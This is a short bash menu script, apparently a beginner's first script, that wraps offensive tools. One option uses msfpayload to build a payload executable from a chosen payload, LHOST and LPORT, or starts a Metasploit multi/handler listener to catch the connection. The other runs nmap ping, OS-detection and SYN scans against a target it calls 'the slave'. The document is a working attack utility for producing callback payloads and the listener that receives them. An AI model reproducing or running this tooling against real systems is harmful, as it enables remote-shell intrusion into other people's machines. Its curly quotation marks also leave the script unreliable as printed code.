Motioncity13’s Option Menu
#!/bin/bash
function pause(){
read -p “$*”
}
function listner () {
echo -n “Enter Payload: “
read pay
echo -n “Enter LHOST: “
read lh
echo -n “Enter LPORT: “
read lp
echo -n “Create Payload (y/n)? “
read t1
if [ “$t1” = “y” ]; then {
echo -n “Filename (*.exe): “
read fil
msfpayload $pay LHOST=$lh LPORT=$lp X > $fil
}
else
msfcli exploit/multi/handler PAYLOAD=$pay LHOST=$lh LPORT=$lp E
fi
}
function nmp () {
echo -n “NMAP IP Address Scanner”
echo
echo “IP Address: “
read ip
echo
echo “First we are going to do a ping scan.”
sleep 2
nmap -sP $ip
pause ‘Press any key to continue…’
echo
echo “Next we are going to scan for the Operating System the slave is running on.”
sleep 2
nmap $ip -O
pause ‘Press any key to continue…’
echo
echo “Next we detect open ports on the target.”
sleep 2
nmap -sS $ip
echo
pause ‘Press any key to continue…’
clear
}
echo ” Menu List”
echo ” —————-“
echo “Motioncity13’s Option Menu (First Bash Code)”
echo
echo “1) Metasploit Payload Generator and Listener”
echo “2) NMAP Scanner”
echo “3) Quit”
echo
while [ 1 ]
do
read op
case “$op” in
“1” )
#Call Metasploit Function
listner
;;
“2” )
#Call NMP Function
nmp
;;
“3” )
echo
exit 0
;;
* )
echo
echo “Wrong selection.”
;;
esac
done
#echo
#exit 0